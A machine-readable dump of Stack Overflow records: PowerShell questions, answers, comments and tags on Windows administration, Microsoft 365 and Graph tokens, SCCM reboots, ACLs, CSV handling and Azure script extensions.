has body: Of course, you can. Just replace Out-Null to $_.Value But! if you will maintain this code in future, you won't be pleasure to yourself =)) Maybe something like this is your case: $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent() $User = [PSCustomObject]@{ Name = $CurrentUser.Name Groups = @() } foreach ($GroupSID in $CurrentUser.Groups) { try { $User.Groups += "$($GroupSID.Translate([System.Security.Principal.NTAccount]).Value) ($($GroupSID.Value))" } catch { Write-Warning "Cannot translate $($GroupSID.Value)" $User.Groups += $GroupSID.Value } } # Join array to string for Html $User | Select-Object Name, @{n='GroupList'; e={$PSItem.Groups -join ', '}} | ConvertTo-Html -As List -Fragment
has comment: http://stackoverflow.com/comment/140030536
has comment: http://stackoverflow.com/comment/140027273
type: Answer

http://stackoverflow.com/comment/140018358
type: AnswerComment
has text: Thanks! This did it. Why is `$_` not accessible the way I wrote it, and why does a scriptblock make it accessible?
comment on: http://stackoverflow.com/a/79396280
type: Comment
score: 0

http://stackoverflow.com/comment/139936855
score: 0
comment on: http://stackoverflow.com/q/79350561
type: QuestionComment
has text: Domain Admin do not have Admin Access other Domains. Check a Group Policy expert. timeouts like these are usually due to Access permissions.
type: Comment

azure-analysis-services
type: Tag
tags question: http://stackoverflow.com/q/79278902
tag name: azure-analysis-services

http://stackoverflow.com/comment/139845102
comment on: http://stackoverflow.com/q/79303993
score: 1
type: QuestionComment
type: Comment
has text: See also https://stackoverflow.com/questions/71465484/is-there-a-proper-way-to-receive-input-from-console-in-utf-8-encoding and https://github.com/Jalopy-Tech/WUTF8Console

http://stackoverflow.com/a/79360069
answers question: http://stackoverflow.com/q/79357877
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/139951253
has body: The first thing to do would be check the token in jwt.io and look at the audience and scp values to see what permission your token actually has and where its valid for use. Theses are two separate endpoint so require two different token with a two different audiences eg for the exov3 cmdlet the scope should be https://outlook.office365.com/.default and Graph it should be https://graph.microsoft.com/.default So the code you use to acquire the token for exov3 should be something like $MsalParams = @{ ClientId = $ClientId TenantId = $TenantId Scopes = 'https://outlook.office365.com/.default' } $username = "xxx@tenant365.onmicrosoft.com" $password = "*****" $Pwd = ConvertTo-SecureString $password -AsPlainText -Force $Creds = New-Object System.Management.Automation.PSCredential ($username, $Pwd) $MsalResponse = Get-MsalToken @MsalParams -UserCredential $Creds and your Graph token code should be something simular with the Graph scope you can then validate the token in jwt.io. One thing to also check User.Read is both a Delegate and Application permission so you need to make sure you have granted the Application permission not the delegate one.

http://stackoverflow.com/q/79413988
favorite count: 0
has comment: http://stackoverflow.com/comment/140144324
has body: I'm trying to trigger the SCCM reboot countdown timer on a Windows machine using PowerShell. The countdown window appears as expected, but when the timer reaches 0, the system does not reboot. Instead, the UI just remains on the screen with the countdown stuck at 0, and the reboot never occurs. Ultimately I want to trigger this PowerShell script on a remote device, using SCCM Client Center for Configuration Manager, and the script will trigger SCCM to launch the enforced reboot countdown timer for 60 minutes, then reboot the computer at the end of it. I am aware there are other tools that can do this, but I am trying to use the tools available to me, and that the end user is used to seeing. I found a script located here but it doesn't seem to work as expected: https://sccmf12twice.com/sccm-reboot-decoded-how-to-make-a-pc-cancel-start-extend-or-change-mandatory-reboot-to-non-mandatory-on-the-fly/ What I Expected to Happen: The SCCM reboot countdown timer should appear. (It does when RebootValueInUTC is set to 0) Once the timer reaches 0, the computer should force a reboot. (It doesn't.) What I have tried I have tried setting the RebootValueInUTC registry key property value to 0 (this prompts the countdown to appear), if I leave it as 1 as other sources say to do, it doesn't show the countdown, but does show the non-enforced notification that a user can simply click X on and close. I have tried setting the $time variable to UTCNow instead of just Now, this doesn't seem to make a difference. I have tried altering the GraceSeconds from 0 to 60, this will change the countdown time, but other than that doesn't do anything else. Please note that I am replacing the last line of the script from the blog by simply running CCMRestart.exe which just restarts CCMExec.exe, I tried using the Restart-Service ccmexec -force and it does the same thing in terms of results. The script I am referring to above is here: $time = [DateTimeOffset]::Now.ToUnixTimeSeconds() New-ItemProperty -L…
tagged with: restart
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/140119552
has title: Using SCCM to force a reboot via powershell doesn't show the countdown
downvote count: 0
tagged with: registry
tagged with: powershell
has comment: http://stackoverflow.com/comment/140143266
type: UnansweredQuestion
score: 1
upvote count: 1
tagged with: sccm

http://stackoverflow.com/comment/140027392
type: Comment
comment on: http://stackoverflow.com/a/79397850
score: 0
has text: @user66001: Honestly, I'm lost here. If you see a problem with the solution as posted, please tell me. If you need additional assistance, beyond the scope of your original question, please create a new question post.
type: AnswerComment

http://stackoverflow.com/comment/139855348
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79309989
has text: @js2010, right, hence the "adjusting the syntax" provision. (That said, I'm... disappointed, but not as surprised as it would be if it were anyone other than Microsoft, that they're disregarding the POSIX BRE specification).

http://stackoverflow.com/comment/139845226
has text: Your console input may be set to UTF-8, but is your `.cpp` file saved in UTF-8 as well? Perhaps the encoding of the string literal `"á"` does not match the encoding of the console input even if they logically represent the same character.
score: 0
comment on: http://stackoverflow.com/q/79303993
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140021455
score: 1
type: QuestionComment
type: Comment
has text: By default, you cannot access _network resources_ from a remote PowerShell session, which is known as the _double-hop problem_. See [this post](https://stackoverflow.com/a/48692809/45375).
comment on: http://stackoverflow.com/q/79397825

http://stackoverflow.com/comment/139801527
score: 1
has text: Please share how you are using this SAS URL.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79279965

http://stackoverflow.com/a/79327155
accepted answer of: http://stackoverflow.com/q/79325773
answers question: http://stackoverflow.com/q/79325773
type: AcceptedAnswer
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139888598
type: Answer
score: 2
has body: What happens is that .GetAccessControl() was moved from an instance method in .NET Framework to an extension method in .NET, the type that contains it is FileSystemAclExtensions. Unfortunately, extension methods don't translate well into PowerShell, so, the equivalent of: $MyAcl = (Get-Item .).GetAccessControl('Access') Would be the following in PowerShell 7+: $MyAcl = [System.IO.FileSystemAclExtensions]::GetAccessControl( (Get-Item .), [System.Security.AccessControl.AccessControlSections]::Access) If you wanted you could also use Update-TypeData to have a similar functionality: $updateTypeDataSplat = @{ TypeName = 'System.IO.FileSystemInfo' MemberName = 'GetAccessControl' MemberType = 'ScriptMethod' Value = { if ($args.Count -eq 0) { return [System.IO.FileSystemAclExtensions]::GetAccessControl($this) } [System.IO.FileSystemAclExtensions]::GetAccessControl( $this, [System.Security.AccessControl.AccessControlSections] $args[0]) } } Update-TypeData @updateTypeDataSplat

http://stackoverflow.com/q/79394268
has title: Use additional arguments to start-process Powershell -verb runas
favorite count: 0
has comment: http://stackoverflow.com/comment/140014646
tagged with: runas
type: Question
has body: This pulled from a website online, and with added if...else it works fine. if(!([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { $Arguments = &quot;&amp; '&quot; + $myInvocation.MyCommand.Definition + &quot;'&quot; start-process Powershell -verb runAs -argumentlist $Arguments } else { get-ExecutionPolicy pause } However I can't seem to figure out how to add -executionpolicy bypass into the call. I tried using $Arguments = &quot;&amp; -executionpolicy bypass '&quot; + $myInvocation.MyCommand.Definition + &quot;'&quot; but the elevated window appears, and disappears, without displaying the execution policy that it does if I exclude the bypass part of the string. How can I supply additional arguments to such a call?
linked to: http://stackoverflow.com/q/69774566
accepted answer: http://stackoverflow.com/a/79394307
score: 2
upvote count: 2
downvote count: 0
tagged with: powershell
has answer: http://stackoverflow.com/a/79394307
answer count: 1
type: AnsweredQuestion

vscode-debugger
type: Tag
tags question: http://stackoverflow.com/q/79335322
tag name: vscode-debugger

http://stackoverflow.com/a/79386369
has body: I see you have solved your issue, but have a couple suggestions anyway $CVAFileList = Get-ChildItem -Path $HPImagingAssistantSoftPaqPath -Filter '*.cva' | Select-Object -ExpandProperty FullName # Instead of ArrayList you should use a Generic List. # But whenever possible using a Loop Assignment is better. $Installs = foreach ($CVAFile in $CVAFileList) { $CVAFileContents = Get-Content -Path $CVAFile -Raw # Assigning to $null is a bit better then piping to Out-Null. # Unless you are using the advanced properties of Out-Null, but it's not the case here. $null = $CVAFileContents -match '(?s).*?\[General\].*?SystemMustBeRebooted=(\d).*?\[Install Execution\].*?SilentInstall=(.*?)\n.*' # a bit superfluous for such a small script, # but evaluiate a Meaningful Name instead of $s. $s = $CVAFile.split('\')[-1].split('.')[0] # any Success Stream(stdOut) will populate a new item in the assigned variable. @($Matches[1], $s, $Matches[2]) } # the sort, as suggested by others. $SortedInstalls = $Installs | Sort-Object { $_[0] }
score: 0
has comment: http://stackoverflow.com/comment/140011621
has comment: http://stackoverflow.com/comment/140007537
has comment: http://stackoverflow.com/comment/140001639
has comment: http://stackoverflow.com/comment/140013107
has comment: http://stackoverflow.com/comment/140005158
answers question: http://stackoverflow.com/q/79385371
has comment: http://stackoverflow.com/comment/140013344
type: Answer

http://stackoverflow.com/comment/139870748
score: 1
comment on: http://stackoverflow.com/q/79318047
has text: Thanks @mklement0, it actually is the same XML file, I just deleted a lot of stuff to try to hide any evidence of where the file may have come from. So the solutions from both work.
type: QuestionComment
type: Comment

pshost
tags question: http://stackoverflow.com/q/79272605
tag name: pshost
type: Tag

http://stackoverflow.com/comment/140062690
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79419400
has text: Your explanation is making this subtle difference quite clear, thank you for clarifying.
score: 0

parameter-passing
tag name: parameter-passing
type: Tag
tags question: http://stackoverflow.com/q/79272775
tags question: http://stackoverflow.com/q/79487909
tags question: http://stackoverflow.com/q/79440498

http://stackoverflow.com/comment/139820568
score: 2
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79290398
has text: How / where are you executing the script? The code looks fine but it sounds like it’s being run in Constrained Language Mode - either deliberately by something in your script, or as the result of system policies - which blocks a number of features. See https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/ for details.

http://stackoverflow.com/a/79397448
score: -1
upvote count: 0
has body: In the first script, if all the "dummy" files are the same, just have the script create one file at the beginning instead of inside the foreach loop. Then replace that line and just copy that one file into the new location determined by the foreach loop. That would save time on that one. For the "slow script", Why are you creating your own timer instead of piping the script to Measure-Command? Save the script and remember the full path and name .\Mypath\Myscript.ps1 | Measure-Command Read the amount of time Measure-Command reports. Instead of the -Filter parameter have you tried it like this to see if that effects performance or not? $TestDir = "$($env:USERPROFILE)\TestFiles" # Get the list of files Get-ChildItem -Path "$TestDir\*.txt" | ForEach-Object { # Simulate some processing Get-Content $_.FullName | Out-Null }
answers question: http://stackoverflow.com/q/79395563
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/140020103

http://stackoverflow.com/comment/140021373
score: 0
has text: @mklement0 — also, if this is UTF8 (what else one could expect?), the issue “to reduce the size” won't be relevant, as no character set will add any redundancy. Say, ASCII-only text will take exactly as many bytes as ASCII. Will you post a formal answer to close this not-so-interesting question?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79381754

http://stackoverflow.com/comment/139825216
type: QuestionComment
type: Comment
has text: Any other command did you try?
comment on: http://stackoverflow.com/q/79292665
score: 0

windows-10
tag name: windows-10
tags question: http://stackoverflow.com/q/79340858
tags question: http://stackoverflow.com/q/79395138
type: Tag
tags question: http://stackoverflow.com/q/79439179

http://stackoverflow.com/a/79330204
has body: From the MySQL Documentation: If you are running mysql under Windows and have some special characters in the file that cause problems, you can do this: C:\&gt; mysql -e dump.sql
type: Answer
answers question: http://stackoverflow.com/q/79328708
score: 0

http://stackoverflow.com/comment/139972699
has text: Found an answer here: https://learn.microsoft.com/en-us/answers/questions/1130115/search-unifiedauditlog-will-only-return-100-items It states I need to add the following to get more results: "-ResultSize 5000" Just not sure where I need to add this into my script to get results. Every place I plug seems to give an error.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79360943

http://stackoverflow.com/comment/139814519
has text: Does this answer your question: [Can you redirect Tee-Object to standard out?](https://stackoverflow.com/q/71039495/1701026)?
type: QuestionComment
comment on: http://stackoverflow.com/q/79286923
type: Comment
score: 0

dst
tags question: http://stackoverflow.com/q/79384098
type: Tag
tag name: dst

http://stackoverflow.com/comment/139822444
has text: The naming is a bit confusing because in the robocopy command source folder is first and destination is 2nd but you have named your 2nd variable $source. Is your intention to copy from /Logs to ./UploadLogs/Logs or the other way around? Also is there a reason for using dynamic ${dir} variable name for the other rather than something like $destination="/Logs"? May not matter, but nice to have these details to try and help
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79290410
score: 1

http://stackoverflow.com/a/79317868
answers question: http://stackoverflow.com/q/79317582
has comment: http://stackoverflow.com/comment/139879880
type: Answer
score: 0
has body: If I understand the question properly, you want to filter on a certain group that has access permissions on a FILE. (or did you mean something else with filer ?) In that case just change your code to something like this: $beispielFiles = Get-ChildItem -Path 'D:\Test' -Filter '*Beispiel*' -Recurse -File -Force $output = foreach ($file in $beispielFiles) { $acl = $file | Get-Acl $acl.Access | Where-Object { $_.IdentityReference -like '*\Authentifizierte Benutzer' } | ForEach-Object { [PSCustomObject] @{ 'FileName' = $file.FullName 'Group/User' = $_.IdentityReference 'Permissions' = $_.FileSystemRights -join ', ' 'Inherited' = $_.IsInherited } } } $output | Export-Csv -Path 'C:\TEMP\FilePermissions.csv' -NoTypeInformation -UseCulture -NoTypeInformation will leave out the #TYPE headers in the csv file. -UseCulture makes sure the csv uses the same separator character your local Excel expects. Output of the above: FileName Group/User Permissions Inherited -------- ---------- ----------- --------- D:\Test\beispiel.txt NT AUTHORITY\Authentifizierte Benutzer Modify, Synchronize True D:\Test\subfolder1\Zumbeispiel.txt NT AUTHORITY\Authentifizierte Benutzer Modify, Synchronize True D:\Test\subfolder2\beispielDatei.txt NT AUTHORITY\Authentifizierte Benutzer Modify, Synchronize True BTW. The function Get-NTFSAccess is not part of the standard PowerShell functions, but contained in a module you can download/install from here if you feel you need it.
has comment: http://stackoverflow.com/comment/139879956
has comment: http://stackoverflow.com/comment/139879894

http://stackoverflow.com/comment/140044264
score: 0
type: QuestionComment
has text: This goes through, but the script is not running. protected_settings = <<SETTINGS { "commandToExecute": "powershell -command \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('${base64encode("./CustomScripts/CustomScriptDataDisks.ps1")}')) | Out-File -filepath CustomScriptDataDisks.ps1\" && powershell -ExecutionPolicy Unrestricted -File CustomScriptDataDisks.ps1" } SETTINGS }
comment on: http://stackoverflow.com/q/79409855
type: Comment

http://stackoverflow.com/comment/139877527
type: QuestionComment
comment on: http://stackoverflow.com/q/79321927
type: Comment
score: 0
has text: You say, "if a .MOV with the same basename exists, that file is kept and the others are deleted." But then you show an example that includes a .MOV file and say that the ..JPG will be kept. What am I missing?

http://stackoverflow.com/comment/139969262
has text: `Export as UTF8 BOM` are you trying to open this in *Excel*? First, using `xp_cmdshell` is almost never a good solution, second just as there's `Export-CSV` there are scripts and commands that export to `xlsx` directly. This avoids date and number formatting issues
score: 2
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79369758

microsoft-graph-teams
tags question: http://stackoverflow.com/q/79301590
tag name: microsoft-graph-teams
type: Tag
tags question: http://stackoverflow.com/q/79364096

http://stackoverflow.com/comment/139882842
type: Comment
score: 1
has text: Not sure why you'd want to use the commands mentioned in your comment @farag. At best, if you need to check what parameters were bound you can use `$PSBoundParameters` automatic variable. Aside from that, for this specific case you have a single parameter and you can get the values bound by simply using `$MyArguments`
comment on: http://stackoverflow.com/a/79324586
type: AnswerComment

http://stackoverflow.com/q/79335963
score: 0
type: UnansweredQuestion
has body: I have a powershell script that performs administrative tasks: basically, it needs to connect to MS365 and list licenses by user, then put everything in a .CSV file and send this file to monsite.sharepoint.com/Sites/Documents/INFORMATIQUE The first part goes without a hitch, but I can't connect to sharepoint with **PnpConnect **. As soon as I connect I get the message “AADSTS700016: Application with identifier ‘31359c7f-bd7e-475c-86db-fdb8c937548e’ was not found in the directory xxxx”. This ID refers to a “Pnp Management Shell” application on my tenant, but it's in roommate management mode. I've seen that since September 2024 you can no longer use this option. I tried to launch a Register-PnPManagementShellAccess which launches an Oauth2 authentication window but I get the same message again. Does anyone know the solution to this problem? I've used many links to find solution just as https://www.lemagit.fr/conseil/Administration-utilisez-PowerShell-pour-surveiller-SharePoint-Online
tagged with: sharepoint-online
type: Question
has title: Cannot connect PnpOnline using Powershell
answer count: 0
tagged with: powershell

http://stackoverflow.com/comment/139890111
comment on: http://stackoverflow.com/q/79327313
score: 0
has text: The problem is likely related to your choice of _terminal_ (console) application, hence my question about `conhost.exe` vs. WT. You can also determine whether PowerShell is a factor at all by invoking NeoVIM from a `cmd.exe` session.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139947250
score: 0
comment on: http://stackoverflow.com/q/79359037
has text: What is `Import-Excel`? Perhaps ask whoever wrote that?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139942647
type: QuestionComment
comment on: http://stackoverflow.com/q/79355961
type: Comment
score: 0
has text: As currently shown, your `Start-Process` call predictably causes a _syntax error_. Enclosing everything after `-verb runAs` in `'...'` would fix this error.

http://stackoverflow.com/comment/139932495
score: 0
comment on: http://stackoverflow.com/q/79349700
type: QuestionComment
has text: @thekevinkalis check the below answer and let me know if it works after passing **Object ID** of Microsoft Graph Enterprise Application instead of its Application ID.
type: Comment

http://stackoverflow.com/comment/140024289
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79399735
has text: Thanks for the info on WMI cmdlets! Also, I forgot about being able to use loops for a direct assignment. It's been a minute, thanks!

http://stackoverflow.com/a/79324740
score: 1
has body: Convert the dates into a datetime object before you compare them, you can see why your code is failing with this simple test: $today = Get-Date '11/26/2024 8:55' -ge $today # true [datetime] '11/26/2024 8:55' -ge $today # false So, in your filtering condition if you add the cast to [datetime] the issue should be solved: $today = Get-Date $data = Import-Csv C:\temp\ReleaseRequest2.csv $data | Where-Object { [datetime] $_.Expires -ge $Today } Using Get-Date to parse them should also work: $data | Where-Object { (Get-Date $_.Expires) -ge $Today } If those options above fail to convert the strings into datetime objects, you can use datetime.ParseExact with the format strings your dates have, for example: [datetime]::ParseExact( '1/28/2025 8:55', 'M/d/yyyy H:mm', [cultureinfo]::InvariantCulture)
upvote count: 1
answers question: http://stackoverflow.com/q/79324721
accepted answer of: http://stackoverflow.com/q/79324721
has comment: http://stackoverflow.com/comment/139882520
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/140056005
comment on: http://stackoverflow.com/a/79416009
type: Comment
has text: My next hurdle with this is the definition of the Save() and Dispose() methods as it is not recognizing these. Should I post a separate Question for that issue? Error is: Method invocation failed because [System.Management.Automation.PSCustomObject] does not contain a method named 'Save'.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/140054800
score: 0
comment on: http://stackoverflow.com/q/79414856
has text: @Paolo: PowerShell interprets an external program's (such as `winget.exe`'s) stdout output as _lines of text_ (strings), and strings have no properties (other than the text they represent and a `.Length` property); see [this answer](https://stackoverflow.com/a/74297741/45375) for background information.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139977930
has text: `$myObject | oss | ? { $_ }` is probably the easiest way to do it...
comment on: http://stackoverflow.com/q/79375151
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139933554
type: QuestionComment
comment on: http://stackoverflow.com/q/79351371
type: Comment
has text: what is the value\count of `$skus`? also, have a one-line: `$licinfo = foreach ($u in $allusers) { $obj = [ordered]@{ upn = $u.userprincipalname }; foreach ($sku in $skus) { $obj.add($sku, 0) }; [pscustomobject]$obj }`
score: 1

http://stackoverflow.com/comment/139845394
type: AnswerComment
comment on: http://stackoverflow.com/a/79304065
type: Comment
has text: You do need `chcp 65001` in the new console. `setlocale` or `std::locale::global` or anything locale-related won't help to get the input working (but it can be nice/necessary for other things). This is with MSVC, other compilers may do things differently.
score: 0

http://stackoverflow.com/a/79324931
answers question: http://stackoverflow.com/q/79324721
downvote count: 0
type: Answer
score: 1
upvote count: 1
has body: You could have done it this way and the comparison type would have been [datetime], determined by the type of the left side: $Today = Get-date $data = import-csv C:\temp\ReleaseRequest2.csv $data | where {$Today -lt $_.expires} | select expires

cryptography
tags question: http://stackoverflow.com/q/79353181
tag name: cryptography
type: Tag

http://stackoverflow.com/comment/140058772
has text: If you run that powershell 7.4 script directly from a powershell 7.4 command window, do you get the expected output? You forgot to confirm that. When doing this kind of integration, always ensure that the target program works independently before trying to use it from another program. That makes narrowing down any issues a lot easier.
type: Comment
comment on: http://stackoverflow.com/q/79416673
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139997173
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79385377
has text: @sln (?s) makes it single line. It doesn't work at all, even when shortened to [General], doing that. Might you have powershell handy and be able to figure this out on your end? Happy to accept any answer for what ends up being a working string to pull out `SystemMustBeRebooted` value, and `SilentInstall` value.
score: 0

http://stackoverflow.com/comment/139745025
type: Comment
comment on: http://stackoverflow.com/a/79248602
score: 1
has text: This works! Thank you so much @santiagosquarzon
type: AnswerComment

http://stackoverflow.com/comment/139746666
has text: @SantiagoSquarzon Interesting. Thank you for that option. It looks like disposing _any_ runspace in a job `pwsh` from a pipe-connected runspace causes that hang. But calling `.Close()` instead works! So, I think that's a good option.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79248980
type: Comment

http://stackoverflow.com/a/79247968
has body: Ok. Found already the answer - Faster then expected. Solution is based on: https://serverfault.com/questions/1044078/get-list-of-outlook-favorite-item-via-powershell and Outlook. Add folder to favorites group $Outlook = New-Object -ComObject Outlook.Application $pst_name="C:\pathto\Test1123.pst" $NameSpace = $Outlook.GetNameSpace("MAPI") $NameSpace.AddStore($pst_name) $olFolder = $NameSpace.Folders.GetLast() $olNewFolder = $olFolder.Folders.Add("NewFolder121") $ex = $Outlook.Application.ActiveExplorer() $mm = $ex.NavigationPane.Modules.GetNavigationModule(0) $favorites = $mm.NavigationGroups.GetDefaultNavigationGroup(4) $favorites.NavigationFolders.Add($olNewFolder)
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79247939
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/79247939

http://stackoverflow.com/a/79405605
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/140048426
answers question: http://stackoverflow.com/q/79401137
type: Answer
has comment: http://stackoverflow.com/comment/140048660
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79401137
has body: I can't give you a design rationale, but I can describe the de-facto logic of how the PowerShell extension for Visual Studio Code manages its intra-script breadcrumb display: Fundamentally, only the following elements are reflected as breadcrumbs: Variables, on their first assignment in the file (that is, should the same variable be assigned to multiple times, only the first assignment is represented as a breadcrumb). function definitions The statement about variable assignments applies analogously to variable assignments inside functions, EXCEPT - and this is arguably a bug - if a script-level variable of the same name exists too, the function-internal variable does not get its own breadcrumb, even though the two variables are distinct and live in separate scopes. class definitions as a whole, as well as their properties (member variables) and methods. When you place the cursor inside (the first instance of) a variable-assignment statement, the breadcrumb for that variable is shown only if the cursor is inside or immediately before or after the variable name. No breadcrumbs are defined for the value being assigned to a variable, even if that value is an object / hashtable literal with properties, as in your case. It follows that, in an assignment statement, if you place the cursor anywhere on the RHS, i.e. anywhere from the = symbol (or preceding whitespace) to the end of the value being assigned, you'll merely see the breadcrumb representing the enclosing scope: The script's top-level scope is represented as …, as shown in your screenshot (… appears once at least one breadcrumb in that scope exists). A function scope's breadcrumb representation is function &lt;name&gt;() A class scope's breadcrumb representation is class &lt;name&gt;{}, a property's (member variable's) is [&lt;type-name&gt;] $&lt;name&gt;, and a method's is &lt;type-name&gt; &lt;name&gt;().
score: 1

http://stackoverflow.com/comment/140033024
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79401260
has text: You can certainly place it in a separate script and import it as a function `function GetScriptName { Split-Path -Leaf $MyInvocation.PSCommandPath }` You can also build on it and have it return instead the filename you are trying to build, maybe needing to pass in some parameters to do this
score: 0

http://stackoverflow.com/comment/139842820
has text: what evne is Workflows in this context?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79302651
score: 0

http://stackoverflow.com/a/79345943
accepted answer of: http://stackoverflow.com/q/79334513
has body: Thanks @mklement0 for the great links. That was a set of good reads to refamiliarize myself with. It turned out in my case that I needed to surround the password with " characters. I failed to mention that I am calling az postgres flexible-server execute in a PS1 script that is itself called from another PS1 script, all running in pwsh. Ultimately what worked was, basically: # $rawPW is the raw password from a KV Secret or elsewhere $p = """" + $rawPW + """" ... az postgres flexible-server execute -n the-instance-name -u theName -p $p -d theDatabase -q "select * from MyTable"
type: AcceptedAnswer
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79334513

http://stackoverflow.com/comment/140003476
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79388969
has text: It didn't work, my first echo display ${args}... I'm on windows 11 btw, don't know if it can be related to the issue.

http://stackoverflow.com/comment/139898000
score: 0
comment on: http://stackoverflow.com/a/79326188
type: AnswerComment
has text: Yes as I wrote in one of our chats :D I have added a screenshot to my post now showing it does not exist
type: Comment

http://stackoverflow.com/q/79276834
has answer: http://stackoverflow.com/a/79280496
has comment: http://stackoverflow.com/comment/139795681
answer count: 1
has comment: http://stackoverflow.com/comment/139797939
tagged with: powershell
has title: PowerShell not getting last bootup time
tagged with: boot
type: UnansweredQuestion
score: 0
type: Question
has body: I'm trying to use PowerShell to get and show the last Bootup time of different systems. In testing the code, I'm not getting any results at all. Currently, my code is as follows: $Servers = Get-Content "\\File Path\Server Restarts\Server List.txt" Write-Host "---Servers Currently On List---" $i = 1 ForEach ($Server in $Servers) { Write-Host "$i) $Server" $i++ } $Server = Read-Host -Prompt "HOST NAME OR IP" $LastBoot = (Get-CimInstance Win32_OperatingSystem -ComputerName $Server -EA 0).LastBootUpTime Write-Host "Last Bootup time of $Server is: $LastBoot" Currently, the script spits out nothing for $LastBoot. As the script exists right now, I'm not sure if it's even grabbing the info I'm trying to grab.

http://stackoverflow.com/comment/139743192
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79247480
has text: update this line: `$output = Receive-Job $job` to `$output = Receive-Job $job -Wait -AutoRemove`

http://stackoverflow.com/comment/139883880
comment on: http://stackoverflow.com/q/79325726
type: QuestionComment
has text: Are you uploading it in Azure automation runbook if I am not wrong! @user3276487
type: Comment
score: 0

http://stackoverflow.com/comment/139975727
comment on: http://stackoverflow.com/q/79373919
has text: I just need the owner entry who can decrypt the encrypted file. Nothing else.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/140060045
has text: There is a powershell command that is not compatible to powershell v5, but works under powershell 7.4--finding this out by running the script from both powershell 5 and 7.4 command windows. So I try to php call to a simple powershell script to work under powershell 7.4 first before adding more advanced commands.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79416673
score: 0

http://stackoverflow.com/a/79472970
type: Answer
has body: I had the same issue, and in your case because you are using the Documents library instead of using "Documents" use "shared documents", and in the var you don't need to set name of the site, then the var would be something like this: $FileRelativeUrl="/shared documents/test.txt". It worked for me using Power Shell 7
score: 0
answers question: http://stackoverflow.com/q/79301292
has comment: http://stackoverflow.com/comment/140159063

http://stackoverflow.com/comment/139829533
type: Comment
comment on: http://stackoverflow.com/a/79295367
score: 0
has text: oh i totally forgot about that lol! i guess i never use that parameter xd, thanks @zett42
type: AnswerComment

http://stackoverflow.com/comment/139961694
has text: @jdweng, your comments amount to a confusing distraction; please consider deleting them.
score: 1
comment on: http://stackoverflow.com/q/79362806
type: QuestionComment
type: Comment

logic
type: Tag
tags question: http://stackoverflow.com/q/79340316
tag name: logic

winzip
tags question: http://stackoverflow.com/q/79273085
type: Tag
tag name: winzip

symlink
tags question: http://stackoverflow.com/q/79329437
tag name: symlink
type: Tag

http://stackoverflow.com/comment/139912125
score: 1
has text: Please [format your post properly](https://stackoverflow.com/help/formatting).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79340469

http://stackoverflow.com/q/79415137
has comment: http://stackoverflow.com/comment/140069003
has body: I have a script which get file version, file type is .dll I had verified manually file version if it is available. This is the script: $version = '' $file = Get-ChildItem $path $version = $file.VersionInfo.FileVersion Some times I get a output like this: 2023.3.0.8 and this is expected. Some time I get below error: Cannot convert value "2023.3.0.8" to type "System.Int32". Error: "Input string was not in a correct format." + $version = $file.VersionInfo.FileVersion + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : MetadataError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : RuntimeException
has title: MetadataError: (:) [], ParentContainsErrorRecordException
type: Question
has comment: http://stackoverflow.com/comment/140054923
tagged with: powershell
answer count: 0
has comment: http://stackoverflow.com/comment/140054108
score: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/140052472
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79352579
score: 0
has text: To debug your issue, log the raw content of `$rfc822` to a file or Azure Blob Storage, as you can't view output in Azure Automation. Refine your regex for boundary detection and content-disposition by ensuring it's case-insensitive and handles extra whitespace or quotes. Add a timeout or exit condition to prevent the runbook from running indefinitely.

http://stackoverflow.com/comment/139820769
has text: Use **absolute** paths instead of relative (to PowerShell) paths when running robocopy
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79290410
score: 0

http://stackoverflow.com/comment/139809773
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79279922
type: Comment
has text: Thank you @MisterSmith I have reposted the script above along with the errors it now throws. And the output file still only shows the first app pool of each server.

http://stackoverflow.com/a/79351325
accepted answer of: http://stackoverflow.com/q/79349700
has comment: http://stackoverflow.com/comment/139932561
